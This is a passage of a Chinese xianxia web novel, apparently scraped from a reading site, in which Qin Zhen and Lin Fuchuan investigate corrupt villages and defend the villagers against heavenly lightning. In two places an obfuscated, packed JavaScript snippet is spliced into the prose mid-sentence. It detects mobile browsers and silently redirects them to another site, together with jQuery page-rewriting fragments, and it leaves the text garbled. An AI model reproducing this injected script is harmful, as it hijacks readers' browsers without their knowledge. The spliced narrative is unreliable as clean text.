洞天兽趴在她肩上,看见她的举动惊叫:“你给他渡灵做什么?!” “我为何能渡灵……”秦蓁喃喃。 洞天兽顿时闭了嘴,装死不回答她。 秦蓁心下有些沉重,看来她的“从前”,实力强劲。 她有些惘然,不知道自己到底是什么。 “从前”是什么,“往后”又是什么。她能感觉到自己是被推着走,而这些从前往后,似乎都已命定。 但她突然想到苏逐。想到他温和的对她说,她选择怎样的路,都可以。 师父说,随她自己心意便好。 她又聚起灵力,一手虚点林赴川眉心,一手扣住他手腕脉门,给他渡灵。 不管从前往后如何,她做现今的自己。 秦蓁闭眼,灵力绕周天游走一圈,再顺着她的指尖渡入林赴川体内。 直到她体内灵力快要枯竭,林赴川终于动了,他突然反手扣紧秦蓁手腕,将她往后一抵,秦蓁跌坐在地,感受到有炽热呼吸轻洒在自己面上,睁眼,对上林赴川也刚刚睁开的眼睛。 锋锐难当,如紫电青霜。 这一瞬的剑意迫人至极,似已融进血骨,却在看清她之后,一滞,尽数收敛。 林赴川下意识松了扣住她的手,神色有些怔然:“……秦蓁?” 话说出口,才发觉自己的声音哑到带了点嘶沙。 他听见有声音,而自己灵力的回复也逐渐加快。但他在先前与那只天阶灵兽的打斗中受了重伤,他不懂分明是不会主动攻击人的灵兽,为何要置他于死地,加上不久前才进入过尘缘梦,让他清清楚楚重忆了那些事的每一个细节,他心境不稳,以为是梦回的黑影在唤他,便本能的反扑,去杀——去斩! 但他睁眼,却看见一张眉目清绝的面孔。 她被自己之前本能的反制压在地上半跌半坐着,神情稍有惊讶,但听见他喊她名字时,眼睛微微亮起,带起浅浅的笑,问他:“林赴川,你有好些吗?” 他没能说出什么话。 林赴川看见自己的发丝因他的俯身垂在秦蓁的脸侧,轻轻贴着她,因为他的突然动作,两人离得有些近,方才话语间,有彼此气息微微缠绕,她未被制住的手还虚空悬在他眉心前,他一恍惚,觉似仙人抚顶。 瞬间猛烈跳动的心脏硬生生扯回了他的意识,林赴川清醒,迅速拉开彼此的距离,发丝遮眼,他侧过脸低声道歉。 秦蓁不明他的道歉,是因为扣住了她的手?可她已不是凡间公主,大家都是修行人,她不觉得如何,但想起林赴川在鬼市交易区时被误会到脸红结巴,便也没说什么,大抵他比较重礼。 秦蓁撑起身体坐好,一边从储物戒中找对应的伤药,一边说:“我方才给你渡了点灵力,不过对你来说应该不太够,你吃些丹药打坐恢复,但你伤重,恐怕一时半会儿好不了,这几日你先休养,任务交给我们就好,我们尽量早些完成任务,你也好早日回宗门养伤。这里的那只天阶灵兽……”秦蓁顿住,洞天兽在她肩上蹦了一下,却没说话,她继续道:“……它误会你们闯入,现在不会对你们出手了,你的同门就在另一边,应该无碍,我一会儿去看看他们。” 林赴川久久才回应她:“多谢。” 他接过秦蓁递来的几个小玉瓶,倒出丹药吃下。 “我在外边……看见你的剑……”秦蓁又递过去一个储物戒:“我收在里面了,给你。” 林赴川没有动,轻笑出声,秦蓁看向他,他被散下的发丝微遮的眼有些幽深,在她看过来时微微错开目光,说:“一柄断剑。” “用不了了。” 秦蓁想了想,说:“但我看着材质很好,你不是要铸自己的剑?可以熔炼了当铸剑的材料,只是可惜,这把剑对你大抵也是有些意义的。” 林赴川抿唇,接过储物戒,说:“我的储物戒被那只天阶灵兽下了禁制,无法打开。” 秦蓁戳了戳趴在她肩上装死的洞天兽,其中含义不言而喻。 洞天兽不情不愿抬了下爪子,说:“解了。” 林赴川这才看见秦蓁肩上的小白团,他迟疑道:“……这是那只天阶灵兽?” 秦蓁将她过来前的事与林赴川说了一遍,也说了陈家村连着的一片村庄和百幽境的起源。 林赴川听完,说:“那便一同调查,该杀的人,早日杀。” 秦蓁点头认同,站起身:“你先打坐吸收丹药,我去看看你的同门。” 林赴川定定望着她,几息后才应声。 丹药起效,他恢复了一些生气,但与天阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178440|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵兽的一战对他来说是惨烈的,连脸上也沾染自己的血,显得有些狼狈,也带着点伤重时的一触即溃。 秦蓁心下微叹,开口说:“你伤重,先在这里打坐调息,这里是安全的,你且安心。我去看看你我的同门,跟他们说清楚陈家村的事,让他们先去调查,然后再来找你,好吗?” 林赴川笑笑,说好。 秦蓁便离开,走进右边那扇水雾薄帘,入眼,十几个孤鸿院的弟子们横七竖八倒在地上,她一惊,赶紧跑过去,然后发现……他们四仰八叉,睡得很香。 秦蓁沉默,又戳了戳肩上的洞天兽,不过这次稍稍用了点力。 洞天兽不满的哼哼两声:“解了解了。” 孤鸿院弟子们悠悠转醒,看着彼此满脸茫然,待看见秦蓁,几人惊到:“秦师姐!快去救救林师兄!” 秦蓁还没来得及开口说什么,这几位孤鸿院弟子急急开了话匣子,你一言我一语道:“林师兄被那个玉石精抓走了!” “那个玉石怪有毛病!我们什么都没干,结果它不分青红皂白就说我们踩它耳朵!” “它那么长的耳朵,我们又没瞎!怎么可能踩到!它就是找茬!然后就把林师兄抓走了!” “太可恶了!长得漂漂亮亮像个大兔子似的,虽然不毛绒绒,但也很可爱啊!结果它怎么这样!果然好看的东西都不是好东西!” “就是!它睁眼说瞎话!谁踩它耳朵了!它就是想关我们!哎!也不知道林师兄怎么样了,他的剑都断了!我们还没来得及捡!” “秦师姐,你是从我们凿的那个地洞下来的吗?那个玉石怪抓了林师兄就跑了,速度太快,我们根本追不上,后面血迹没了,我们猜是这个玉石怪是个穴居灵兽,凿了个地洞,果然就下到它老家了!” “结果被它关起来了!秦师姐,你既找到我们,有没有看到林师兄啊?” “咦,秦师姐,你肩上这只小灵宠好像那个玉石精的缩小版哦!” 秦蓁侧眼,看到洞天兽一脸震惊,大抵没想到这群小弟子这样说它,她忍了忍笑,又戳它一下,传音道:“你抓人的理由也太……别生气,他们是……夸你好看呢。” 洞天兽炸了,大叫道:“你们才是玉石精!我要把你们这群兔崽子的牙全拔了!” 孤鸿院弟子吓了一跳,瞬间安静,半响一位弟子声音颤颤:“你,你是它的小崽吗?” 洞天兽一蹦三尺高,气得吱哇乱叫,玉白爪子打出一道道灵力,把孤鸿院的小弟子们赶得到处乱窜。 秦蓁看着他们,倒是都活蹦乱跳,一点伤没受。 她将骂骂咧咧的洞天兽抓住,说:“你们林师兄没事,在打坐调息,一会儿你们先回陈家村,有些事情需要尽快调查。” 秦蓁领着孤鸿院的弟子们回到那片平坦的灵草地,洞天兽这回不用她戳,很自觉的解了道源宫几人身上的术法,秦蓁说明了陈家村的事,众人严肃起来,商讨着分工几个村子的调查任务,最后洞天兽将他们全都送了出去,众人先行调查。 折腾许久,外边竟已将要天明。 秦蓁将洞天兽放到灵草地上,说:“谢谢你,你好好养伤,我去找林赴川,剩下的事我们处理就好。” “可你还是不想跟我契约。”洞天兽说。 秦蓁捏了捏它玉白的爪子,有些软,她笑道:“契约会受制于人,你这样不是很好吗?” 洞天兽正色道:“我是真心愿与你契约,助你证道,无所谓会不会受制。” “再等一等。”秦蓁说。 “等我强大一些,等我……能有突破桎梏的力量,我不想按所谓命定与你契约,我想与你成为并肩前行的同伴。” 秦蓁很温和的说:“等一等,会有这一天。” 32. 天收不如人收 秦蓁和林赴川来到安乐村,去找来这个村子调查的孤鸿院弟子。 方才分配任务,段师姐她们实力最强,便主动请缨去探查陈家村那些人口中的大阵,林赴川受伤,与孤鸿院几位弟子来查这个离陈家村比较远的一个小村庄,听陈师兄说,安乐村没发现什么问题,林赴川可以在这个村子里休养一段时间。 众人约定每日黄昏到陈家村旁的灵兽山交换调查结果,整理得到的线索,再商讨后续该如何。 他们将安乐村探查一遍,确实如陈师兄所说,没发现什么问题,这里的村民很安生,甚至有些怕他们,秦蓁和林赴川走在村中的土道上,路过的人匆匆瞥他们一眼便急急掠过,偶有几个胆子大的,也只会偷偷多看他们几眼。 如此这般也有些怪异,陈家村的人见了他们就像见了肉一样两眼放光,这安乐村的人对他们却是避如蛇蝎。 但这里确实是个适合休养的好地方。 村里的客栈没什么人,秦蓁与林赴川住了进去,白日林赴川养伤,秦蓁去其他村子和同门一起调查,待黄昏去灵兽山交流完任务细节后,再回来告知林赴川现今进度如何。 两人复盘商定,林赴川会提些建议,但与天阶灵兽的一战他经脉俱断,灵力在他体内乱窜,五脏六腑也常常阵痛,尽管吃了许多丹药,但这般重伤还是难养,好得很慢,让他有些虚弱,往往两人商定完,他便回房休息了。 如此过了半个月,一日在灵兽山上众人沟通任务,都已至收尾。 段师姐拿出一打纸,上面记满了调查的名单,说:“那大阵是改版过的梦回阵,专门蛊惑人心,我第一日已将那陈老汉抓起关押在结界中,大阵也已被我和华师弟毁去,陈家村里除了这几家人,都有确凿证据参与过从前抽修士灵力的事,此番更是起了杀心,不可留。” 陈师兄也拿出他负责的那个村子的调查名单,说:“花了半月,总算查清,那鬼市门外的五家客栈,有两家是与这些村子关联,共同……抽人灵力,不过大抵因为客栈的人的流量比那些村子大,他们没那般放肆,未伤过人,也遮掩得更好,但许多修士的信息都是从客栈传出,若有人出事,他们算第一助力,难辞其咎。” 接着孤鸿院几位弟子也说明他们调查的结果,众人整理完名单,皆有些沉默——这一整片相连的村落,每个村子不过几十人,竟有九成的人参与其中,而那些惯于作恶罪孽深重的,也有六成多。 他们彼此打掩护,互通信息,有人唱黑有人唱白,将调查难度大大提高。 但总有水落石出的一日。 “不过,安乐村倒是个例外,里面没有一个人参与其中,大抵是那些真心思过的人聚集一起建成了安乐村。”孤鸿院一位弟子说。 “或许……可以告知像我们这般外来修士,去安乐村落脚?不知那里的村民是否愿意。”陈师兄提议。 易师姐说:“可以问问看,他们既在村落边缘,应是想避世,不过也可能因为那些恶意串通的人太多,他们无法发声,只能远避自保。” 众人商讨,此番恶事应公之于众,但如今通讯法宝失效,回禀宗门只能待历练结束,而地府界正好也封闭,不知鬼王对此事是何看法。 秦蓁沉思,说:“大抵与各宗门长老一样,将此处当作历练地。灵力被莫名削弱、要应对灵兽山的灵兽、还有这些村民时不时绊一脚,作为宗门新弟子的历练去处,确实不错。只是我们是为半年前的灵力暴动而来,实力高一些,到了金丹期。那些村民过于贪婪,才有了这次的谋命,筑基期的修士,他们不会冒险。” 她顿了一下,继续说:“但这些人的恶意难消,若继续放任,恐有一日他们会对任何有修为的人下手。那六成人在村中也惯做恶事,害过同村人性命,许多事已过底线,该杀。” 众人很快行动,将那六成人押至结界,撰写文书,公布其所行恶事,至于剩下的那三成人,不少是被胁迫,在百幽自省即可。 地府界虽然封闭,鬼市门前却留有鬼使,这些鬼使直接受命于鬼王,段师姐将文书上交,待鬼王判决。 一行人到安乐村暂做歇息。 这半月来众人都在奔波查证,此事暂休,终于可以放松的走在村中土道上,他们三三两两结伴,在安乐村不算太热闹的集市中穿行。 村民像是很怕他们,许多人闭户不出,道上更显冷清了,但段师姐当晚回客栈,便又将众人召集,说:“今日我去集市,有村民一直跟着我,原先我以为连这安乐村的人都要行恶,但见那人踌躇不前,便想着静观其变,最后我要离开时,那人终于拦住我,说让我们早些离开百幽境,修士在百幽境并不安全。我假装不知,问那人为何,那人说其他村子里有很多人会害我们,但他们帮不了我们,只能劝我们离开。那人不似作假,我们先前调查安乐村也没什么问题,所以这些村民不是怕我们,而是心有愧疚,不敢见外来修士。” 一片叹声,众人大多谅解,那些恶人多是性子冲急的人,且抽了修士的灵力,比这些不做恶事的村民修为高些,又人多势众,他们自保已是不易。 秦蓁在这时突然想起洞天兽说,鬼王是个奇怪的人,他养着“恶”,希望哪天这些“恶”能变成“善”。 她原先不懂,总觉得既然曾经作恶,凭什么能放屠刀成佛,但现今她有些懂了,未至极恶,仅是被逼迫无法选择,或是人性私心的怯弱,是有机会变成善的,没人能铿锵有力誓言自己从无一丝坏心。 两日后,鬼王的判决下来,上面仅一个笔势如疾风骤雨般的字——“杀”。 随着众多鬼使从封闭的鬼市门前涌出,从一个个村子里将关在结界中的那些恶人带出,那些村民终于明了,此地,也有覆地的变化了。 鬼王写上杀字的文书和众人搜集的证据一并贴在鬼市门前的告示处,一波波村民涌来,许多人放声痛哭,又大笑,像终于了却恨事。 “那个张老汉,把我们一家从张家村逼走,又故意说些戳人心窝的恶心话,把我兄长气病,害他下了地府!分明我兄长桎梏已松,只等一个契机便能筑基出百幽了!”一个十 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“那个破烂李哥,我呸!还哥!哥个屁!成天装个哥们样儿跟咱几个称兄道弟的,结果插人刀子比谁都快!那天山脚灵兽跑出来,哥们几个汉子在齐力杀灵兽,不让它进村子,这破烂李哥直接给爷们来了一刀!要不是另外的兄弟撑住了,咱们几个都得死!灵兽还得进村!” 群情激昂,秦蓁等人在一旁,耳边尽是他们调查半月也未知的恶事,许多事并不像杀人放火那般直白,反而能用一两句真假掺半的话语模糊,叫人只能打落牙齿,咽下血水。 “对于宗门弟子来说,这是历练的好去处,但对生活在这里的人来说,一半人猖狂作恶,一半人苦忍硬捱……”陈师兄叹道。 林赴川却说:“但从前,这一片所有的人,皆是恶人,是恶人相磨,不够恶的被更恶的人压制,才叫那些残存心底的善有喘息之机,才能破土而出。恶人相磨成善,他们才知何为善,而不是被惩戒后的不知悔改,或是为小恶被谅解后的侥幸。” 陈师兄一愣:“喂,你这人也太……”他没继续说下去,似乎在思考林赴川的话。 秦蓁叹气。 或许……各宗门的人并非不知百幽境内的许多事,而是不去解。 她看着激愤的村民们,发觉有一小部分人桎梏已破。 桎梏已破,便能直接拥有筑基的修为,出百幽境。 鬼使已将那些哭天喊地的恶人一个个斩绝,鬼市门前血流成河,却没人害怕,因为对他们来说,最大的恶鬼终于下了地府。 直至鬼使们施法清洁干净现场,一个个回了鬼市,地府界封闭,村民们才平息下来,准备散去。 可就在此时,异变徒生。 四周都暗下来,日光被一大片乌云遮掩,云层中有亮光跳动,似龙腾似鱼跃,第一截细雷劈下到不知哪个地方去时,众人还没反应过来。 “是……是天雷!” “作恶多端,天要收人!” “但他们不是刚刚被鬼使收走了吗……” 旬鹊也像众人一样抬头望天,但她知道,这天要收的,不仅恶人,而是这一连片村庄里的所有人。 雷霆将至,众生倾矣。 33. 千钧剑意,万钧雷霆 第二截细细的天雷劈下时,终于有人反应过来,大喊:“这雷的方向……是我们村子!” 众人皆惊,却见一道道细雷由远及近,确是对着这一连片的村庄劈下。 “我们的家……”村民们呆愣,看着那细细的天雷绕过几座灵兽山,一下一下劈着他们的村庄。 远方朦胧,是木屋被雷劈出的焦烟在缓缓升起。 “我阿爹还在家中!”一位少年的惊叫打破了沉寂,人群嘈杂起来,许多人当即就往村子的方向跑,却被身旁的人拦住:“不能回去!天雷一直在劈!过去了都得被劈死!” 秦蓁猛地想起洞天兽说,曾经的她看着此方生灵被天道一同清算眼都不眨……原来说的是——天雷! 天道为这些恶人恶事震怒,降下天雷全他们的恶报。 但天道无情,根本懒得管你其中隐情,通通一截天雷劈成灰烟,反正生灵亿万,此消彼长,循环照旧。 秦蓁喝道:“这雷也会往这边劈!不能久留!” 几位同门也惊道:“得离开百幽境!这天雷虽然就一小截,但我们也硬抗不了几道!” 许多人立刻御剑,想往边境飞,但秦蓁却未动,段师姐喊道:“秦师妹!走啊!” 秦蓁轻轻说:“天要收人……我们能走,他们不能。” 众人顿住了动作。 放眼望面前惊慌的村民,一部分人哭喊着往村中冲,被另一部分人急急拦住;一部分人说着家中血亲,另一部分人说着白送性命;一部分人刚刚突破了桎梏可以离开,另一部分人,是被困死在百幽境的。 几截细雷越来越近,村民们渐渐安静了下来,似乎明白了什么,都不动了。 “天……天也要收我们。” 人们望天,一片哀呜,许多人眼含绝望。 一位妇人走过来,颤抖着说:“……仙君,你们快走吧,雷劈得近了。” 秦蓁认出来,这是安乐村糕点铺的那位老板娘,今早她与旬鹊去她家买糕点,去得晚了些,旬鹊爱吃的梅子糕仅剩最后一块,正好一位女孩也来买梅子糕,两人同时开口,女孩小心翼翼问仙君可不可以让给她,她娘亲想吃。 旬鹊只得买了块糖蒸栗子糕,这时街上的人们敲锣打鼓说快去鬼市门口,女孩也好奇的跟着走,被旬鹊装凶说别把糕点弄碎了,不然她就抢了。女孩被小小吓到,老板娘却明了这是玩笑话,笑着说明天还有呢,我给仙君留一个。 她说:“仙君们快走吧,我们本来就是百幽的……恶人,天要罚我们下地府,也是应该……” 她颤抖着说完,眼底有一丝不甘,更多的是绝望和疲倦,但她垂着手,并未有任何抵抗意思。 人群中突然传来几声尖叫,众人望去,原是天雷已至,劈碎一人的血骨。 秦蓁心中怒涛翻涌。 这些压抑在恶之下的人们刚刚清晰了何为恶有恶报,也终于让坚守的小小善心破开牢笼,但下一刻却被这天雷劈毁,天说你心之意不过微渺蚍蜉,并无力抵抗广阔的意志。 她一步踏出,手中一翻召出不悔剑,以自身为点,横挥一道锋锐剑气,直直撞上一截将要劈下的细雷,雷霆溃散,她打出的剑气也溃散。 秦蓁的发丝被剑气吹起几许,她面色冷厉到了极致,如冬日江月,剑意冽、剑心烈。 林赴川突然说:“孤鸿院弟子,布防护阵,提刀。” 孤鸿院的弟子们一愣,接着齐齐应声:“是!” 十几位弟子散开在鬼市门前的这片地,迅速聚灵布阵,阵法笼罩着这一小片地,他们作为阵法边角,提着自己的刀,蓄势待发。 “你的木剑可否借我一用?”林赴川走至秦蓁身侧,问。 秦蓁侧头看林赴川,他仍穿着孤鸿院的黑白道袍,但自灵兽山出来后便一直未束发,墨发披散,眼中敛去了一切情绪,比两人的第一面更加沉稳克己。 她从储物戒拿出她之前的木剑,递给他:“碎了也没关系,不用你还。” 林赴川眼眸微闪,接过木剑,道了谢,移开目光,注视着将劈的天雷。 下一刻他极具压迫性的浩然剑意倾泄而出,林赴川聚灵跃起,剑势亦拔地而起,他自斜下提剑上挑,决绝剑气随之猛烈劈出,剑光照彻此地,金戈凌冽,断云破晓,骤起濯来滔天意。那是足以碾碎雷霆的一剑,那是——澎湃到一往无前的剑意! 铮铮剑骨,不可磨灭。 一瞬万籁俱寂。 道源宫几人常常在江湖传闻中听见林赴川这个名字,但却从未见过他的剑,如今见了,俱是无言,只觉如此一剑,当折首一切传闻。 孤鸿院弟子们紧紧盯着林赴川,他们站在阵角几处,刀气受这剑气刺激嗡鸣,将防护阵聚得更严密。 村民们怔得呼吸都轻了,他们看着天际被这一剑劈散的雷云,日光露了出来,恍觉被此番剑意洗涤,若然新生。 秦蓁心中剑意也涌动,只觉元婴期比之金丹期的剑势,深厚太多,当下,她无法劈出这样的一剑。 但境界实力的差距却让她热血沸腾——变强,她要变强。金丹期劈不出的剑,待她元婴必将劈出! 她目光灼灼,看着林赴川落地。 林赴川对她笑,喊她名字:“秦蓁。” 秦蓁依旧灼灼望着他,林赴川背后,那被他一剑破开的雷云在缓缓散去,金光照射,他一身将歇剑意,却几乎将他的锐气剑心托出。 “好剑!”秦蓁亮着眼说。 林赴川的眼也亮了一些,说:“我心有疑虑,并不能随时劈出这样的一剑,受心境影响太多,但我会竭力稳我剑心。” 秦蓁点头,很坚定的看着他说:“我信你。” 林赴川唇角微扬,递过木剑,秦蓁接过收起,众人看着散去的雷云,反应过来天雷已去,村民们激动万分,连声道谢。 孤鸿院的弟子们撤去防护阵,也朝人群聚拢过来。 道源宫几人坦然夸赞林赴川的好剑意,为他们之前抗拒他的态度道歉,华师兄更是剑意翻然,直言渴望与林赴川当场对剑切磋。 但林赴川方才一剑已将体内灵力劈空,他的伤本就未好,这会儿已有些虚弱,华师兄未至元婴,参加不了今年的宗门大比,两人便约定下一次宗门大比——也就是三年后,再尽兴对战。 众人轻快的对话,探讨元婴一剑竟真能劈散天雷,林赴川很谦逊说这只是一小截天雷,若是突破境界那番的天雷,仅元婴是劈不开的。 许多人应声,高境界的雷劫能把人骨头劈出来,挨两下人都要没了,得做万全准备才能去渡雷劫,若是这般雷劫劈在此地,恐怕无人可挡。 而这时,空中乍然一亮。 轰然一声,万钧天雷滚滚而来,快得连乌云都未能聚集,雷霆却已劈下! 刹那间,远处一整片的村庄,已成齑粉。 所有人都呆愣在了原地。 转眼,那灭顶天雷便已至鬼市门口的上空,就要劈下。 秦蓁迅速拔剑,以剑气抵之,大喝:“快布阵!” 几乎是同一瞬间,清脆霹雳撕裂大地,众人狠狠挨了这一道天雷,实力稍低的弟子当即就被劈出一口鲜血,秦蓁等人的护体结界也险些被破,众人迅速聚灵结阵,拔出刀剑。 抬眼,许多村民已被劈得昏死过去,更有甚者当场血肉横飞,还站着部分村民也已摇摇欲坠,唯有突破桎梏已筑基的人仅是大口吐血,但也面色惨白,恐怕再挨不得第二道天雷。 但这第二道天雷不过几息间便已凝聚,压面而来! 林赴川聚灵划破自己指尖,带出一道血线,抬手以血伴灵力托出剑气,直冲云霄,勉力打散了大部分的雷霆,争了一丝喘息之机,众人布好了防护阵。 但他猛地跪地呕血,像要把五脏六腑都呕尽。 “林赴川!”秦蓁惊声,趁第三道天雷还未下落的这几息之间,迅速拿出丹药想给林赴川喂下,但林赴川口中鲜血不断溢出,秦蓁手中丹药抵在他唇边,他咽不下,反倒叫她的手也沾上鲜血。 “……秦蓁……剑……” 林赴川嗓音嘶哑,话语间有更多的血流出,秦蓁抵在他唇边的手染遍了鲜血,她触到林赴川的唇,有些软,但渗出的血粘稠滑腻,自她指尖顺着往下划至手腕,再划进她的白衣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191373|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦蓁霎时红眼,点了点灵力将丹药破化,强行送进林赴川已碎的经脉,又抓住他的手,为他渡灵。 第三道天雷在此时震下。 秦蓁一手执剑,带着怒意狠狠一劈,有防护阵在,众人的灵力汇集,分摊了天雷,这一下没有人受到重伤,但彼此心知肚明,防护阵能抗一下、两下,或许也能抗第三下,但再多的恐难抵抗,这天雷来势汹汹,不知还有多少下。 雷势迅猛,中间停歇的几息时间弥足珍贵,众人都迅速吃下回灵的丹药,拿出防御法宝,孤鸿院弟子急急问林师兄如何了,秦蓁却无法回答,只能拼命给林赴川渡灵,她的灵力顺着林赴川内里游走一圈,发觉他体内已堪称残破。 “……林赴川。”秦蓁开口喊他,嗓音也带着点哑。 林赴川已无力调息,甚至得靠秦蓁撑起他,才能单膝跪地。他发丝散乱,剧烈喘着气,无法言语。 第四道雷劈下,防护阵晃荡一瞬,最终抵住。 秦蓁翻出师父给的许多小玉瓶,极快的找出各种修复疗伤的丹药,一个个用灵力破化硬送进林赴川经脉,虽然这样被硬灌药液进经脉很不好受,且丹药的效果也大打折扣,但这都是极好的灵丹,纵是如此,几息间便也将血止住。林赴川稍稍好了一些,制住秦蓁破化丹药的手,秦蓁迅速散去手上灵力,又递了丹药到他唇边,他微微顿住,张嘴咬下,秦蓁立刻又抵一颗过来,林赴川笑一声,说:“没事,我不会这般容易死。” 但他这样子实在没有太多的说服力,秦蓁没应他,用行动强硬给他喂下一颗颗丹药。 第五道天雷将防护阵劈开裂缝,有弟子受到重伤,踉跄倒地。 一位村民见他们伤成这样,哭喊道:“仙君,莫管我们了,你们离开百幽境吧!这天雷是来收我们的命的,收不到肯定不罢休的!你们不必护我们,快走吧!” 更多的村民附和,秦蓁一行人布阵护着他们,将天雷都引入了阵法中,此时阵裂,村民不过受了轻伤,他们却重伤倒地。 众人此时亦有犹疑,这阵法最多再撑个一两下就会到极限,若到最后他们撑到命关,这天雷仍不见收势,也只能离去。 这些村民毕竟与他们交集不算太多,且是百幽境的村民,他们自己都说,若天要收他们,也算应理。 而这天雷显然就是冲着收他们命去的,最开始的一小截雷被林赴川打散,便轰隆聚起这次的盖地天雷。 但他们都是宗门弟子,自入门便被教导该护世人,至少此时,众人还不愿放弃,段师姐喊道:“那些恶人已被鬼使收走,不该再有天雷降下夺你们的命!” “是啊!这雷劈错了吧!凭什么要劈所有村子的人……” 未尽话语淹没在第六道天雷中,防护阵稀薄,紧接着不再有方才的几息停顿,第七道天雷极速劈下,防护阵瞬间被劈破,布阵弟子受到反噬,吐了好几口血,段师姐等人也不好受,嘴角溢出血迹。 林赴川已能调息,他对上秦蓁的眼睛,没有说话,但秦蓁明白了他的意思,将她的木剑拿出给他,也看着林赴川的眼睛,说:“换我来。” “你用剑气托我,换我来开天雷。” 林赴川紧盯着她,秦蓁目无惧色,毫不退让,他定定说:“好,我为你开路。” 冲天剑气破开黑云,秦蓁借着林赴川的剑势轻跃至半空,用力挥剑,抵下霹雳雷霆。 她落地,紧握不悔剑柄,直直望天,蓄势待下一道天雷到来。 旬鹊终于按捺不住,喊她:“阿蓁姐姐!阿蓁姐姐……秦蓁!你疯了?!” 她感受到了,那剑中……有无尽狠意,叫她心惊。 秦蓁黑黝黝的眼看向她,并不言语。 旬鹊急疯了,不懂这些人在执拗什么:“你快走啊!这雷也会劈死你的啊!别看现在你们还能抗,一会儿就……你,你,总之你快走啊!去灵兽山找那只洞天兽!你在这儿会死的!你不能死在这里!” 秦蓁表情很淡,说:“我不能死在这里,他们就能死在这里?” “凭什么呢。”她轻轻问。 秦蓁满腔怒火,要向此地泼出碧血。 34. 其实她还挺厉害的 秦蓁再次一跃而起,借着林赴川的凌然剑势,挥出凛冽一剑。 因为两人合力,这一剑比方才林赴川的那一剑更加浩大,剑气磅礴到铺天盖地,却并不迫人,而是澄澄清绝。 那直直降下的天雷被灼灼剑光撕裂,折在半空,一滞后溃散。 秦蓁面无表情,微垂的眼中有一丝怒火,一丝狠意,更有无尽温和的悲悯,在这一瞬,似神女低眉愿挽世人。 众人仰望着她,尽是惊叹折服。 秦蓁落地,继续蓄势。 虽然借了林赴川的剑势,但她毕竟仅有金丹期的灵力,若这雷不停,她也撑不了太久。 林赴川是他们中唯一的元婴期,但他伤得太重,秦蓁不愿他以命相搏;段师姐几人有金丹后期的实力,但剑意稍欠,难以像她与林赴川这般以剑破天雷;孤鸿院来的弟子们是刚入门的新弟子,多是筑基期,且因为防护阵被劈裂,他们都受了不同程度的伤。 秦蓁的心很沉,难道终要放弃?付出了血肉,可终是抵不住这天雷,只能离开百幽,遥遥看着此方生灵……被劈成齑粉。 她紧了紧剑,不甘漫上心底。这天雷早不来劈那些恶人,反而到苦受尽了人磨死了,再来劈这些剩下的人,只为要个眼底干净。 难道这般漠视一切,方才能叫大道无情? “阿蓁姐姐。” 秦蓁转头,看向旬鹊。 旬鹊……或许有办法。 秦蓁不知道为什么,但这种感觉很强烈。她因为师姐的话,也明了旬鹊是所谓天道派下的人,但更多的她却不知,比如她原是何人,为何被天道派到她身边,她要做什么? 按师姐的话,天道的人是来为她失去一切做推手,但她不信旬鹊也是为此而来。 最开始时,她也有过抵触,也与她拉开过距离躲避过她,也留心防范她,甚至在一些时候,她也有生她的气。 她觉得旬鹊是个很好的人。 善良、包容、却又很孩子气,有时嘴硬得很,但秦蓁明白她十足的心软,所以只觉可爱,她总是很好脾气对待所有的事,性子很缓,好像最大的愿景便是冬日里和她一起窝在榻上小憩一会儿。 她唯一不好,便是这天道派下之人。 秦蓁能感觉到,旬鹊对她的真情中,夹杂着这层隔阂,反观她自己,亦是如此。 秦蓁叹气。 若旬鹊有办法,可她愿意吗? “阿蓁姐姐,你们真的得走了,这雷不把百幽境生灵劈灭不会罢休的,你相信我好不好?你们不离开百幽境也可以,去灵兽山,天雷不管灵兽山。”旬鹊软着声音,像小时候一样哄她。 “我相信你。”秦蓁眼神柔和了些:“可我不想离开,不想这么轻易便放弃。” 旬鹊很急,却只能模棱两可的说:“你们再撑不了几道雷的,而且你……你总对着天挥剑,天会生气的。” 秦蓁笑一下,说:“我也生气,这天道也总惹我生气。” 旬鹊要说的话硬憋在了嘴里。 倒反天罡了啊女主!虽然你这话我有那么一点点认可,但你也不能这么直白吧! 这老天爷记仇得很,你虽然是女主,但你去抗这天雷,也会受伤、会流血、会痛——也可能会死。 你是女主,你是特殊,但也是在天道规则内才行的,你想将这百幽境的命定扭转,也要付出代价,你还没成长起来没有后期的实力,只能硬撑,若是撑不住,你也是会死的。 但她不能说这些话。 她只能用更柔和的眼、更软糯的语气,像从前那般半撒娇半哄对秦蓁说:“阿蓁姐姐,我们离开好不好,这天雷太吓人了,小鹊不想你受伤。” 话音落,雷霆劈下,秦蓁迅速打出一剑,再落回旬鹊面前,气息稍有不稳——她受内伤了。 旬鹊脸色微变,她看着秦蓁微抿的唇,生怕下一刻从中溢出鲜血。 “小鹊。” 秦蓁开口喊她,所幸并没有血随之流出。 她勉强将注意力从秦蓁唇角移开,对上那双温和的眼。 “你看。”秦蓁侧身,示意旬鹊看向她身侧的村民和身后的同门:“他们都没有放弃。” “或许到最后一刻,我们确定无力救他们,就会离去。”秦蓁看着旬鹊的眼睛,说:“但现在还不是最后一刻。” 旬鹊明白,秦蓁是想说,还有希望的,他们在努力。 但她知道不是的,她手握着剧本呢,剧情再怎么崩,关键的节点是被定死的。这是一种虚假的希望,放宽一点拦线,让里面的人能上蹿下跳,然后到了节点再一巴掌拍死。那是最最厚重的山,没有人能抗起。 